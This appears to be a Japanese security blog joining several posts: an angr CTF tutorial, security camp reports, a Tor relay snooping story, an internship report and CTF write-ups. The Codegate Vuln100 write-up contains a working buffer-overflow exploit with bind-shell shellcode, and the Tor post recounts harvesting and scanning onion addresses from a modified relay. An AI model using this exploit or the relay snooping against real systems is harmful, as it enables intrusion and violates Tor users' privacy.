angr on CTF 超入門

この記事は Harekaze Advent Calender 6日目の記事です。

adventar.org

初めに

この記事ではangrをどうやってCTFで使うか、に重点を起きます。 シンボリック実行やz3などの理論的なことは扱いません。

angrとは

angrは

プログラムの特定位置に到達するための入力値を抽出することができる

(https://ntddk.github.io/2016/08/27/angr-afl-driller/ より引用)

バイナリ自動解析ツールです。 よって主な用途はrevです。

対象バイナリ

angrを試すための簡単なバイナリを用意しました。

target - Google ドライブ

バイナリを動かす

バイナリを動かすとuser:passを聞かれますが、get_flagやlost_flagというシンボルがあることから、user:passが正しいとflagが表示されることが推測できます。 こういう場合angrは、「このアドレスを通らず、このアドレスに到達する入力値を計算してくれ」という使い方をします。 なのでこのバイナリの場合「lost_flag()を通らず、get_flag()に到達する入力値を計算してくれ」という形になります。

solverのベース

import angr
# angrのプロジェクトを作成する
p = angr.Project('./target')
# バイナリのコマンドライン引数や初期状態を指定する
state = p.factory.entry_state(addr, args=[])
# 自動解析の条件を指定する
ex = p.surveyors.Explorer(start=state, find=(,), avoid=(,))
# 自動解析の実行
ex.run()
# 解が見つかった場合表示する
if len(ex.found) > 0:
    s = ex.found[0].state
    print "%r" % s.posix.dumps(0)

コードを足す

solverを足していきます。

まずangrにどこからプログラムが開始するかを伝える必要があるので、mainのアドレスをaddrに指定します。 MAIN_ADDRESSにはobjdumpやradare2で表示されるmainのアドレスを指定してください。

5行目

state = p.factory.entry_state(addr=MAIN_ADDRESS, args=[])

次に、到達したいget_flagと避けたいlost_flagのアドレスをfindとavoidに指定します。 ここの start=state は先程指定したmainのアドレスをプロジェクトに設定しています。

7行目

ex = p.surveyors.Explorer(start=state, find=(GET_FLAG_ADDRESS,), avoid=(LOST_FLAG_ADDRESS,))

自動解析を実行

python solve_base.py

結果

'reo\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01haifuri\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

get_flag()に到達するuser:passが分かるので、バイナリを起動して入力しましょう。

HAREKAZE{This_is_flag}

バイナリのソースコード

#include<stdio.h>
#include<string.h>

void get_flag() {
  printf("HAREKAZE{This_is_flag}");
}

void lost_flag() {
  printf("You can't get the flag :)");
}

int main() {
  char username[256];
  char password[256];
  printf("username: ");
  scanf("%s", username);
  printf("password: ");
  scanf("%s", password);

  if ((strcmp(username, "reo") == 0) && (strcmp(password, "haifuri") == 0)) {
    get_flag();
  } else {
    lost_flag();
  }
  return 0;
}

参考資料

angrでシンボリック実行をやってみる - ももいろテクノロジー
angr on PythonをCTFに使う - saotake’s blog
シンボリック実行に入門しようとした | 一生あとで読んでろ
angr, AFL, Driller | 一生あとで読んでろ
hacktracking: # HITCON CTF 2017 Quals: Sakura - Reversing

セキュリティミニキャンプ in 北陸 2017(金沢)の専門講座に参加してきました

セキュリティミニキャンプ in 北陸 2017(金沢)の専門講座に参加してきました

まとめ

  • 午前
  • 午後
  • おまけ
  • 最後に

専門講座

Chrome拡張機能脆弱性を探そう!」

用意されたシンプルなChrome拡張機能に対して、脆弱性を探していく、といった形でした。最初は単純なXSSだったのですが、最終的にはrequestb.inとXHRを用いて、拡張機能の権限で取得したデータを、外のサーバに送信するところまで行いました。この盗んだデータを外に持ち出す、というのは危険性がとても分かりやすくて、勉強になりました。また、CSPの解説などもありましたが、これも手を動かして理解する形だったので分かりやすかったです。

昼食

同席したチューターの方に色々な話を聞きました。

カーネルエクスプロイトによるシステム権限奪取」

x64の呼び出し規約やROPの座学に始まり、用意されたドライバを利用して、最終的にカーネルでROPを行う、という形でした。 ハンズオンでは、rp++でStackPivotも含んだROPのためのpayloadを作り、用意されたプログラムでオフセットを計算し、実際にexploitを実行しました。 ところが、途中でトラブル(?)もあり、VMをフリーズさせるところまでしかいきませんでした。 しかし、普段は少々のことではフリーズしないVMが、こんなに小さいプログラムで一瞬でフリーズする、というのは何とも言えない面白さがありました。 講義の内容はとてもハイレベルで、まだまだ理解しきれていない部分も多いですが、こんな世界もあるのかととても勉強になりました。

最後に

講師の方々、 チューターの方々、 協賛の方々、そして今回のミニキャンプに関わる全ての方々、 本当にありがとうございました。

おまけ

せっかく金沢に来たので、帰りのサンダーバードを待つ間、一緒に参加した大学の後輩と、寿司を食べました。

f:id:ak1t0:20171204171931j:plain

ハニーポットを踏んでTorネットワークからBANされた話

この記事は、Honeypot Advent Calendar 2017 4日目の記事です。

adventar.org

TL;DR

改造されたTorノードを運営してonionアドレスを収集していたら、Tor Project側のハニーポットを踏んでしまい、IPレベルでノードをBANされました。

前提

Torとは何か、秘匿サービスとは何か、onionアドレスとは何か、などについてはこの記事では説明しません。

Hidden Service Directoryの欠陥

Hidden Service Directoryとは、HSDirフラグを取得したTorノードによる分散ハッシュテーブルです。これにより、HSの名前解決が行われます。 ところが、現在のHidden Service Directoryには明確な欠陥があり、それを利用するとHSDirノードはonionアドレスを収集できます。その欠陥とは、HSの名前解決のlookupです。HSの名前解決は、クライアント側から見て次のように行われます。

  1. HSDirフラグを持つ全ノードのリストを取得
  2. そのリストの上から順にonionアドレスの名前解決の可否を尋ねる
  3. 可能なら解決、不可能なら次のノードへ

これだけ見ても分かるように、このプロトコルは明らかに欠陥があります。可否を尋ねられたノードがそのアドレスを保存してしまえば、onionアドレスを収集できてしまうのです。もちろん名前解決クエリの中には、aaaaaaaaaaaaaaaa.onionや総当たりで算出されたアドレスもあるでしょう。しかし、そのクエリの大半は正当なものであり、これを利用すると収集だけでなく、HSの人気度やトレンドすら観測できてしまいます。*1

Honey Onions

この欠陥は4年近く前に指摘されており、当然Tor Project側も把握していて、いくつかの対策を行っています。その1つがHoney Onionsと呼ばれる秘匿サービスのハニーポットです。このハニーポットは一言でいうと「誰も知らないはずのこの秘匿サービスにアクセスしてくるということはアドレスが盗まれたに違いない」という構造です。もちろんただ1つあるだけでは何の意味も無く、すべてのHSDirノードのDHTには、複数のHoney Onionが混入させられています。これにより、悪意のあるHSDirノードの運営者がそのアドレスにアクセスすると、そのノードが特定されてしまいます。*2 これにより、収集したアドレスにフルスキャンなどを掛けてしまうと、Tor Project側に特定されます。

実際にBANされた

最初にアドレスの収集を試した時には、このHoney Onionsの存在を知らず、自作のクローラで収集できた全てのアドレスにスキャンを掛けてしまい、1ヶ月後にBANされました。このBANというのはけっこう重い処置で、Atlasからはノードであった痕跡が一切消去され、また、IPレベルでAuthority Directoryに弾かれるため、もう二度と正常なノードにすらなることができませんでした。

参考資料

Honey Onions: Exposing Snooping Tor HSDir Relays | DEF CON 24

追記 12/06

ntddk氏から指摘をいただきました。 この記事だと、Honey OnionsをTor Projectが運営しているかのように見えますが、Tor Projectが公式にこれらを運営しているとの発表をしたことはありません。私が、ノードがBANされたことで、Honey Onions 運営 == Tor Project だと勘違いしていたようです。ただし、実際BAN自体は行われたので、何かしらの仕組み(Honey Onions側のTor Projectへのフィードバックなど)はあるのだと思いますが分からない、という状態です。

*1:実際には、飛んでくるクエリの傾向はonionアドレスの分散に依存するので、10~20くらいのノードで偏りを補正する必要があります

*2:実際には、DHTの分散の周期も考慮する必要があり、いくつかのアドレスにアクセスすると、確率的にHSDirノードが特定される、という形になっています

噂の月給40万円インターンに参加してきました

f:id:ak1t0:20170902200600j:plain

LINE SUMMER INTERNSHIP 2017 エンジニア就業コースに参加しました。

選考

テスト

簡単なコーディングのテストがありました。問題が3問あって全完できなかったので、落ちたかと思っていたらなぜか面接に進めました。後でインターン生に聞いてみたところ、誰も全完はできていないみたいでなるほどといった感じでした。

面接

いろいろやらかしてしまったので、今度こそ落ちたと思っていたらなぜか合格通知が届いて、思わずその場で叫んでしまいました。

インターン

f:id:ak1t0:20170902200315j:plain

初日

何かの間違いで帰れと言われませんように、と心の中でひたすら祈っていましたが、チューターの方にも部署の方にも良くしてもらったので安心しました。 また、同じ部署に配属されたインターン生がもう1人(2人?)いたので心強かったです。

オフィス

とにかくすごい。オフィス内に、オシャレなカフェがあったり、撮影スタジオや保育園があったり、70型テレビと各種ゲームが揃ったゲームコーナーがあったり、これが大企業か…といった感じでした。

f:id:ak1t0:20170902200709j:plain f:id:ak1t0:20170902200212j:plain f:id:ak1t0:20170902200545j:plain f:id:ak1t0:20170902200532j:plain

環境

ほぼ最上位(i7+16GB+USキーボード)のMBPとWQHDディスプレイが貸与されて、遠方組はマンスリーマンションの個室を借りてもらえるという、すごい環境でした。

インターンの内容

自分が配属されたゲームクラウドという部署では、インターン生にはテーマが与えられ、それを設計から実装まで1人で考えるという形でした。最初はドキュメントを1日中読んでいるだけで、これで本当に1日2万円ももらっていいのかという感じでしたが、最終的には一応ある程度形になったので良かったです。

f:id:ak1t0:20170902203141j:plain

ただ、私用で3.5日くらい休んでしまった影響で、2つめのテーマがかなり中途半端な状態で終わってしまったり、最終発表のスライドがいまいちだったりしたので、そこはかなり悔しかったです。そういうタイムマネジメントも学んでいきましょうという、発表会の締めの言葉が胸に突き刺さりました。

f:id:ak1t0:20170902200654j:plain

イベント

インターン生だけの懇親会や別の部署の方のいらっしゃった懇親会がありました。部署の方はもちろん、セキュリティ室の方にも色々な話が聞けて良かったです。

蟹味噌(とにかくヤバかった) f:id:ak1t0:20170902200130j:plain

1ヶ月を終えて

技術的な面でも、それ以外の面でもとにかく濃い1ヶ月でした。 未だについ昨日東京に来たばかりなのに、みたいな気分です。 1ヶ月間本当にありがとうございました。

f:id:ak1t0:20170902200519j:plain

おまけ

他のインターン生のエントリ

calmery.hatenablog.com

www.kagemiku.com

chigichan24.hatenablog.com

40万円の使い道

ディスプレイと懇親会で布教された暗号通貨を買って、残りは貯金します。

インターン中のご飯

f:id:ak1t0:20170902200117j:plainf:id:ak1t0:20170902200145j:plainf:id:ak1t0:20170902200329j:plainf:id:ak1t0:20170902200409j:plainf:id:ak1t0:20170902200355j:plainf:id:ak1t0:20170902200341j:plainf:id:ak1t0:20170902200158j:plain

一応気を付けて書いたつもりではありますが、もし何か公開してはいけない部分がありましたら、すぐに消しますので伝えていただけると幸いです。

セキュリティ・ミニキャンプ in 近畿 2017(神戸)に参加してきました

セキュリティミニキャンプ in 近畿 2017(神戸)の専門講座に参加してきました.

まとめ

  • 午前
  • 午後
  • おまけ
  • 最後に

専門講座

ハッカーペネトレーションテスター)の考え方とハンズオン」

ハッキング(ペネトレーションテスト)に関する講義を受けて、それを用意された脆弱なVMに対して実際に試すという構成でした。 VMはCTF形式になっていたのですが、結局自力で見つけられたflagは最初の1つだけでした。

nmapやniktoの使い方、実際にWordPressのパスワードを入手した後、Metasploitでどのように侵入するか、など普段はなかなか触れる機会のないことがたくさんあって、新鮮で面白かったです。 また、講義のハッカーの世界は白黒ではなくグレーという言葉が印象に残りました。

昼食

🙏
できたて(?)で温かくて美味しかったです。

ハニーポットを用いた分析ハンズオン」

ハニーポットに関する基本的な説明を受けて、DaionaeaというハニーポットWordPressのログ分析を実際に試すという構成でした。

ハニーポットというよりはログ分析がメインで、nginxの設定を弄ってログのフォーマットを指定したり、/wp-loginとかの怪しいURLへのアクセスを弾いたりしました。 午前中に学んだWPScanなどが、ログから見るとこういう風に見えるのか、という感じで面白かったです。

おまけ

帰りのポートライナーで講師のザックさんと参加者の方と偶然一緒になって、色々話を聞けて良かったです。

最後に

講師の方々、 チューターの方々、 協賛の方々、そして今回のミニキャンプに関わる全ての方々、 本当にありがとうございました。

Trend Micro CTF 2017 Online Qualifier Write-up

HarekazeというチームでTrend Micro CTF 2017 Online Qualifierに参加しました。チームとしての結果は53位/900点で、内2問を解いて200点ほど取りました。

OSINT 100

フィッシングに使われたドメインから、犯人の名前を特定するという問題でした。

whoisすると、osint isfunという名前とosintisfun@gmx.comというメールアドレスが見つかります。

(省略)
Registrant Name: osint isfun
Registrant Organization: 
Registrant Street: 230 Earls Court Road
Registrant Street: Kensington
Registrant City: London
Registrant State/Province: London
Registrant Postal Code: SW5 9AA
Registrant Country: UK
Registrant Phone: +44.7441911980
Registrant Phone Ext: 
Registrant Fax: 
Registrant Fax Ext: 
Registrant Email: osintisfun@gmx.com
Registry Admin ID: Not Available From Registry
(省略)

そこでosintisfun@gmx.comで検索すると、patebinにt3m4.comの情報が見つかります。 それを元に、t3m4.comにアクセスするとT3-M4Haxorと名乗る人物のWebサイトがあります。 T3-M4HaxorでGoogle検索するとtopicsbirdのキャッシュにDavik Surikという名前が残っているので、Davik SuriktをGoogle検索して出てくるLinkedInにアクセスします。 CTF OSINT Target とあるので後は、GZPGS{SGE0FVAG101}をROT13すればflagが出ます。

TMCTF{FTR0SINT101}

For100

与えられたpcapをWiresharkで見ると、DNSトンネリングのトラフィックだと推測できます。DNSに偽装されていると思われるのは、サブドメインIPアドレスの2つです。

Hint:
1. Not Base64 but Another Base is used

というヒントがあったので、

strings output.pcap | egrep ".{14,}"

で出した全てのサブドメインをbase58でデコードするとflagが出ます。

TMCTF{DNSTunnelExfil}

OSINT 300 (解けなかった)

ネットワーク機器のconfigを書き換えて作られたバックドアを調べるという問題でした。 パケットを眺めて、/etc/passwdを上書きしてsshユーザーを不正に作るという所までは分かりました。

Hint:
1. Not Jack but John. (username is TMCTF)
2. We will rockyou

というヒントがあったので/etc/passwdに対して一晩中John the Ripperを回していたのですが、間に合いませんでした。

ここで重要になるのがrockyouというヒントで、「john rockyou」で調べれば分かることなのですが、rockyouというのはjohn用のwordlistらしいです。

実際後で

john --wordlist=rockyou.txt exploit/etc/passwd

すると数秒で解析が終了しました。 ググるだけだったのに完全に頭がついてませんでした。 300点問題なのでかなりもったいなかったです。

感想

もうちょっとで解けそう、みたいな問題も何個かあって楽しかったけど割と悔しかったです。 また、elfやpwnが少なかったりpcapが多かったりと、問題が割と実務(?)寄りで新鮮でした。

Codegate Quals 2013 Vuln100 Write-up

情報

  • 64bit ELF
  • fork-server型
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

方針

0x400cd0のmemcpyにbofが存在し, DEPが無効なので, return addressを書き換えてスタック上でshellを起動するという方針をとる.

ここで問題になるのがstrcpyで, 単純にbofさせるとstrcpyの引数まで書き換えてしまい, SYSSEGVで落ちてしまう. また, strcpyの引数には0x00が含まれているので, 単純に送り込むデータにそれっぽいデータを配置するという方法も使えない.

つまり, return addressを直接書き換えることは不可能で, かつ制御できるデータはstrcpyのdestのみとなる.

そこで, strcpyのdestをretrun addressが配置されるアドレスにして, return addressを書き換えてしまえばよいと思うが, 送り込むデータの途中に0x00は含められないのでこれも不可能.

よって, strcpyのdestを元々のアドレスの少し下位に調整して, 同じペイロードをずらして2回書き込み, ペイロードの下端がstrcpyのdest兼return addressとなるようにする.

f:id:ak1t0:20170514233155p:plain

アドレスリーク

"A" + "\x00" * 7 など送ると, printなどでは見えないもののスタックの中身がリークしているので, それを参考にする. 今回の場合は, スタック中にあるstrcpyのdestさえ分かればよいので, リークしたデータの中のアドレスっぽいデータを, 総当たりで全て試す. この際, アドレスは0x10(frame + return address)ほど下位に調整する.

また, バイナリが古いせいか, Ubuntu 17.04でkernel.randomize_va_spaceを弄ると, データをリークしなくなるので, 初期設定のままバイナリを起動する.

子プロセスの追跡

set follow-fork-mode child を.gdbinitに足してrunすると, 自動でgdbが子プロセスを追跡してくれる

コード

from socket import *
from struct import pack, unpack
import time
import sys

host = "localhost"
port = 6666

# 89 bytes
bindshell = "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\xba\xf2\xff\x13\x88\x66\x83\xf2\xf0\x52\x48\x89\xe6\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"

def solve_quiz(p):
    r = p.recv(4096)
    print r
    p.send("arsenal\n")

    time.sleep(0.5)
    r = p.recv(4096)
    print r
    p.send("gyeongbokgung\n")

    time.sleep(0.5)
    r = p.recv(4096)
    print r
    p.send("psy\n")

    time.sleep(0.5)
    r = p.recv(4096)
    print r
    

def get_shell(address):
    p = socket(AF_INET, SOCK_STREAM)
    # for brute force
    p.settimeout(30)
    p.connect((host, port))

    solve_quiz(p)

    payload = ""
    payload += "\x90" * 16
    payload += bindshell
    payload += "\x90" * (264 - len(payload))
    payload += pack("<Q", address)
    
    p.send(payload + "\n")

    time.sleep(0.5)
    r = p.recv(4096)
    print r + '\n'

    p.send("\n")

    
def get_leaked():
    p = socket(AF_INET, SOCK_STREAM)
    p.connect((host, port))

    solve_quiz(p)
    
    p.send('A' + '\x00' * 7)
    
    time.sleep(0.5)
    r = p.recv(4096)

    return dump_leaked(r)

def dump_leaked(d):
    # split bytes into 8byte data
    datas = [d[i:i+8] for i in range(0, len(d), 8)]
    # remove data except address
    filtered = filter(lambda n:"\x7f" in n, datas)
    # convert bytes to long
    address = map(lambda n:unpack("<Q", n)[0], filtered)

    return address


address = get_leaked()

for a in address:
    try:
        get_shell(a + 16)
    except Exception as e:
        if (e.args[0] == "timed out"):
            print "Success!!"
            sys.exit()

参考資料

Codegate 2013 Vuln 100 Writeup
Codegate CTF Preliminary 2013 Vuln100(解けなかった)
Codegate 2013 Quals - Vuln 100 [ Failed Attempt ] & Updated Solution
CODEGATE 2013 vuln100 writeup